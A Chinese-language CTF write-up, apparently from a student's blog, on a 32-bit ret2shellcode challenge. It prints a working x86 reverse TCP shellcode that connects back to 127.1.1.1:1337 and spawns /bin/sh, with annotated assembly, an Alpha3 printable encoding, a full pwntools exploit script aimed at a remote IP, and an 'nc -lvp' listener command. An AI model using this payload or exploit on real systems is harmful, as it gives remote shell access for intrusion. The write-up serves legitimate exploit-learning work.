pwn学习之路 pwn TCP 记录一次 TCP Reverse Shellcode Mindedness 2025-04-06 2025-06-20 前言 打了一次学校举办的 网安赛,里面就两个 Pwn题 这个学校就是逊啦
附件在github里 Learning-Record/记录一次 Ret2Shellcode at main · MindednessKind/Learning-Record
Challenge Checksec CheckSec:
1 2 3 4 5 6 7 8 9 10 11 12 [*] '/home/mindedness/Shares/pwn/attachment' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled Stripped: No
Vuln Function 32位,NX关,有RWX
首先映入眼帘的就是一个泄露点加上一个溢出点
Stack View
padding = 0xF8 - 0x10
也就是在输入 0xE8字节后,会泄露buf的值,即可获取开头位置。
第二次可以覆盖到 return address,因而我们可以进行Ret2Shellcode技术的利用
曲折的思索过程
这个题的filter()函数使得我们的Shellcode需要是可见字符,因而我们需要使用Alpha3对Shellcode进行转换
程序将 stdin stdout stderr 悉数关闭,因此我们原来一般使用的ShellCode在该题都无法使用。
这个题和其他我做过的 Ret2Shellcode 不一样的就是这里,我第一次使用所谓 反连TCP的Shellcode。
而且,网上的 connect()+dupsh() 是无法完成反弹shell的(正是因为将stdin、stdout、stderr悉数关闭),所以我们自己摸索shellcode的构造。
我一开始构造的ShellCode如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.arch = 'i386' shellcode = shellcraft.connect('127.1.1.1' , 8080 ) shellcode += shellcraft.mov('ebx' , 'eax' ) shellcode += shellcraft.dup2('ebx' , 0 ) shellcode += shellcraft.dup2('ebx' , 1 ) shellcode += shellcraft.dup2('ebx' , 2 ) shellcode += shellcraft.sh() sh = asm(shellcode) print (sh)
然而,我们会发现,这样构造的ShellCode在Alpha3变换后长度过长,无法使用。
因为是断网的比赛,我也没有足够的shellcode库存,其实我在打比赛的时候就到打这里了
解决方案 Reverse TCP ShellCode 我们可以在shellstorm上找到这样一个ShellCode:
Linux/x86 - Shell Reverse TCP Shellcode - 74 bytes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #include <stdio.h> unsigned char shellcode[] = \"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" ;main() { printf ("Shellcode Length: %d\n" , sizeof (shellcode) - 1 );int (*ret)() = (int (*)())shellcode;ret(); }
我们在此对其ShellCode的构造进行一下学习
学习 1. 创建 Socket 1 2 3 4 5 6 7 8 9 10 11 push 0x66 ; 将 0x66 (socketcall 的系统调用号) 压栈 pop eax ; 将 0x66 弹出到 eax push 0x1 ; 将 0x1 (SYS_SOCKET) 压栈 pop ebx ; 将 0x1 弹出到 ebx xor edx, edx ; edx = 0 push edx ; 将 0 (protocol) 压栈 push ebx ; 将 1 (type: SOCK_STREAM) 压栈 push 0x2 ; 将 2 (domain: AF_INET) 压栈 mov ecx, esp ; ecx 指向栈顶,即 socket 的参数 int 0x80 ; 调用 socketcall,创建 socket xchg edx, eax ; 将 socket 的文件描述符保存到 edx
功能 :
创建一个 TCP socket,文件描述符存储在 edx
中。
也就是socket
2. 连接到攻击者的 IP 和端口 1 2 3 4 5 6 7 8 9 10 11 12 mov al, 0x66 ; eax = 0x66 (socketcall 的系统调用号) push 0x101017f ; 将 IP 地址 127.1.1.1 压栈 pushw 0x3905 ; 将端口号 1337 压栈 inc ebx ; ebx = 2 (SYS_BIND) push bx ; 将 2 (AF_INET) 压栈 mov ecx, esp ; ecx 指向栈顶,即 sockaddr_in 结构 push 0x10 ; 将 16 (addrlen) 压栈 push ecx ; 将 sockaddr_in 结构的指针压栈 push edx ; 将 socket 的文件描述符压栈 mov ecx, esp ; ecx 指向栈顶,即 connect 的参数 inc ebx ; ebx = 3 (SYS_CONNECT) int 0x80 ; 调用 socketcall,连接到攻击者的 IP 和端口
功能 :
连接到攻击者的 IP (127.1.1.1
) 和端口 (1337
)。
3. 重定向标准输入、输出和错误 1 2 3 4 5 6 7 8 9 push 0x2 ; 将 2 压栈 pop ecx ; ecx = 2 (stdout 的文件描述符) xchg edx, ebx ; 将 socket 的文件描述符保存到 ebx loop: mov al, 0x3f ; eax = 0x3f (dup2 的系统调用号) int 0x80 ; 调用 dup2,将 socket fd 复制到 ecx 指定的文件描述符 dec ecx ; ecx-- (依次处理 stderr, stdout, stdin) jns loop ; 如果 ecx >= 0,继续循环
功能 :
将 socket 的文件描述符复制到 stdin (0)
、stdout (1)
和 stderr (2)
。
4. 执行 /bin/sh
1 2 3 4 5 6 7 8 mov al, 0xb ; eax = 0xb (execve 的系统调用号) inc ecx ; ecx = 0 mov edx, ecx ; edx = 0 push edx ; 将 0 (null terminator) 压栈 push 0x68732f2f ; 将 "//sh" 压栈 push 0x6e69622f ; 将 "/bin" 压栈 mov ebx, esp ; ebx 指向 "/bin//sh" 的地址 int 0x80 ; 调用 execve,执行 /bin/sh
功能 :
执行 /bin/sh
,提供一个交互式 shell。
其实际如果用pwntools中的shellcraft模块写,可以这么理解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *ip = "127.1.1.1" port = 1337 shellcode = shellcraft.pushstr(ip) shellcode += shellcraft.pushstr(port) shellcode += shellcraft.socket('AF_INET' , 'SOCK_STREAM' , 0 ) shellcode += shellcraft.connect('AF_INET' , port, ip) shellcode += shellcraft.dup2('ebp' , 0 ) shellcode += shellcraft.dup2('ebp' , 1 ) shellcode += shellcraft.dup2('ebp' , 2 ) shellcode += shellcraft.execve('/bin/sh' , [], []) shellcode_bytes = asm(shellcode) print ("Shellcode:" )print (enhex(shellcode_bytes))
但因为这样构造的shellcode不够简洁,所以还是得自己手写 💔
解决后 通过上面的shellcode构建,我们就可以在本地获取到shell了。
Use.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *sh = b'\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68' ip = [127 ,1 ,1 ,1 ] k = b'' for i in ip: k += i.to_bytes() sh += k sh += b'\x66\x68' port = 1337 sh += b'\x05\x39' sh += b'\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' print (sh)
运行结果
1 2 ❯ python ./use.py b'jfXj\x01[1\xd2RSj\x02\x89\xe1\xcd\x80\x92\xb0fh\x7f\x01\x01\x01fh\x059CfS\x89\xe1j\x10QR\x89\xe1C\xcd\x80j\x02Y\x87\xda\xb0?\xcd\x80Iy\xf9\xb0\x0bA\x89\xcaRh//shh/bin\x89\xe3\xcd\x80'
Alpha3工具使用 ( 这里我是将简单Alpha3封装了一下,你们使用时应该用 python2 ALPHA3.py
而不是 alpha3 ) 1 2 echo -e -n "jfXj\x01[1\xd2RSj\x02\x89\xe1\xcd\x80\x92\xb0fh\x7f\x01\x01\x01fh\x059CfS\x89\xe1j\x10QR\x89\xe1C\xcd\x80j\x02Y\x87\xda\xb0?\xcd\x80Iy\xf9\xb0\x0bA\x89\xcaRh//shh/bin\x89\xe3\xcd\x80" > shellcode.binalpha3 x86 ascii mixedcase ecx --input=shellcode.bin > output
得到Alpha3可见字符化后的ShellCode
1 hffffk4diFkDqj02Dqk0D1AuEE2O0T2w0Z0U0i0F3r180c7o023p3A4K4s3p4A1n0X7L060n010T1k0u2j120R2x5M4R0Y1P0e2s4x4O0s4U4w2F020o4w4t5p2n3m3D0x2r3Y3U092K4x3h0b2Z7M0W0F2E1l1M0R001o3I3C384r0s
随后就可以构造Exp了
Exp.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *import LibcSearcherfile = "./attachment" elf = ELF(file) context(arch=elf.arch,os='linux' ) if args['DEBUG' ]: context.log_level = 'debug' if args['REMOTE' ]: io = remote('192.168.202.151' , 32768 ) else : io = process(file) if elf.arch == 'i386' : B = 4 elif elf.arch == 'amd64' : B = 8 else : print ("PLS Input The Address Byte: " ) B = int (input ()) print ("B=" +str (B)) sla = lambda ReceivedMessage,SendMessage :io.sendlineafter(ReceivedMessage,SendMessage) sl = lambda SendMessage :io.sendline(SendMessage) sa = lambda ReceivedMessage,SendMessage :io.sendafter(ReceivedMessage,SendMessage) rcv = lambda ReceiveNumber, TimeOut=Timeout.default :io.recv(ReceiveNumber, TimeOut) rcu = lambda ReceiveStopMessage, Drop=False , TimeOut=Timeout.default :io.recvuntil(ReceiveStopMessage,Drop,TimeOut) io.send(b'A' *0xe8 ) rcu(b'A' *0xe8 ) addr = u32(rcv(4 )) success("Leaked Address: " + hex (addr)) sh = b"hffffk4diFkDqj02Dqk0D1AuEE2O0T2w0Z0U0i0F3r180c7o023p3A4K4s3p4A1n0X7L060n010T1k0u2j120R2x5M4R0Y1P0e2s4x4O0s4U4w2F020o4w4t5p2n3m3D0x2r3Y3U092K4x3h0b2Z7M0W0F2E1l1M0R001o3I3C384r0s" payload = sh padding = 0xf8 +B payload = payload.ljust(padding,b'A' ) payload += flat([addr,addr]) io.sendline(payload) io.interactive()
测试结果 本地测试通过
由于此时比赛结束,我只能把它的题目自己部署,自己打了。
线上测试:
把上面的注释去掉,下面注释上,运行 python ./Exp.py REMOTE
记得在接收shell的机器上运行nc -lvp 1337
线上也打通 (记得这里需要满足一个条件: ShellCode需要是Null-Free的,因而我们的IP地址如果带0,则需要进行IP地址的修改)